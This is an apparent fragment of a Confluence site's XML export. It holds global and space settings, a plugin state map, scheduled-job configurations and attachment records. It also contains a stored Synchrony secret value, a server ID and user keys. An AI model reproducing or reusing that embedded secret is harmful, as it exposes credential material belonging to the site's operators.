<attachmentSecurityLevel>smart</attachmentSecurityLevel>
|
||||
<enableJavascriptTop>true</enableJavascriptTop>
|
||||
<supportPeriodEndMessageOff>false</supportPeriodEndMessageOff>
|
||||
<enableWysiwyg>true</enableWysiwyg>
|
||||
<useWysiwygByDefault>true</useWysiwygByDefault>
|
||||
<numberOfBreadcrumbAncestors>1</numberOfBreadcrumbAncestors>
|
||||
<viewSpaceGoesToSpaceSummary>false</viewSpaceGoesToSpaceSummary>
|
||||
<enableLikes>false</enableLikes>
|
||||
<currentIndexVersion>0</currentIndexVersion>
|
||||
<maintenanceBannerMessageOn>false</maintenanceBannerMessageOn>
|
||||
<maxSimultaneousQuickNavRequests>40</maxSimultaneousQuickNavRequests>
|
||||
<maxRssItems>200</maxRssItems>
|
||||
<rssTimeout>60</rssTimeout>
|
||||
<pageTimeout>120</pageTimeout>
|
||||
</settings>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32769</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.server.id]]></property>
|
||||
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32786</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.space.settings]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.setup.settings.SpaceSettings>
|
||||
<spaceKey>ds</spaceKey>
|
||||
<disableLogo>false</disableLogo>
|
||||
<colourSchemesSettings>
|
||||
<colourSchemeType>global</colourSchemeType>
|
||||
</colourSchemesSettings>
|
||||
<doNotSave>false</doNotSave>
|
||||
</com.atlassian.confluence.setup.settings.SpaceSettings>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32787</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[sidebar.nav-type]]></property>
|
||||
<property name="value"><![CDATA[<string>page-tree</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32784</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.theme.settings]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>theme.key</string>
|
||||
<string></string>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32785</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.css.resource.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>4</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32782</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.plugin.resource.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>2</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32783</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[copyspace.copier.spacekey]]></property>
|
||||
<property name="value"><![CDATA[<string>DEMO</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32780</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_950DC3_#]]></property>
|
||||
<property name="value"><![CDATA[<string>20</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32781</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[plugin.manager.state.Map]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-trashed-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-trashed-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-page-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-moved-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.synchrony-interop</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:request-access-notification-email-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-hipchat-integration-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-less-users-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.plugins.base-hipchat-integration-plugin-api</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-update-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-no-spaces-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.plugins.base-hipchat-integration-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-new-mail-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-notifications-batch-plugin:batching-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-attachment-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-draft-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-resolve-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-reply-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-hipchat-emoticons-plugin</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.share-page:share-page-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-hipchat-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:forgot-password-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-remove-email-notification-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:grant-access-notification-email-template-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-hipchat-body</string>
|
||||
<boolean>true</boolean>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>com.atlassian.labs.hipchat.confluence-hipchat</string>
|
||||
<boolean>false</boolean>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32778</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_9412A1_#]]></property>
|
||||
<property name="value"><![CDATA[<string>8</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32779</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_7B47A5_#]]></property>
|
||||
<property name="value"><![CDATA[<string>4</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32776</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_187CCC_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32777</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.plugins.pulp]]></property>
|
||||
<property name="key"><![CDATA[version.history]]></property>
|
||||
<property name="value"><![CDATA[<map>
|
||||
<entry>
|
||||
<string>7.19.12</string>
|
||||
<string>2023-11-09T06:02:36.753Z</string>
|
||||
</entry>
|
||||
</map>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32774</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_21D670_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="Secrets" package="com.atlassian.synchrony">
|
||||
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad]]></id>
|
||||
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32775</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[AO_A0B856_#]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32772</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_UUID]]></property>
|
||||
<property name="value"><![CDATA[<string>d32aafab-7f6d-4630-a017-f69b71948e20</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32773</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.plugin-installed-date-in-millis]]></property>
|
||||
<property name="value"><![CDATA[<string>1699509752102</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32866</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#DailyReportJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32867</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#cacheStatsJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32864</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#BackupJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32865</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SynchronyEventsSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32862</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#MailQueueFlushJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32863</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SchedulerRunDetailsPurgeJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32860</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClearExpiredRememberMeTokensJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32861</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SynchronyEventsHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32858</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#SystemMaintenanceTaskQueueFlusherScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32859</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClusterSafetyJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32856</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#IndexSnapshotCleaner]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32857</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JmxAppLoggingJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32854</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#EhCacheCompactionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32855</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ReIndexHouseKeepingScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32852</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#LocalTaskQueueFlushJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32853</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#TrashHardRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>false</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32882</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#reminderJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32883</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#confluenceDailyStatisticsPublisherJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32880</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#onboardingNumberOfUsersCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98355</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step-2-image-1.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-1.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262201</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262203</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262205</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262207</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32881</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
|
||||
<property name="key"><![CDATA[efi.store.onboarding.onboardingNumberOfUsersCheckJob]]></property>
|
||||
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98356</id>
|
||||
<property name="hibernateVersion">3</property>
|
||||
<property name="title"><![CDATA[step-2-image-3.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-3.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262196</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262198</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262199</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262210</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
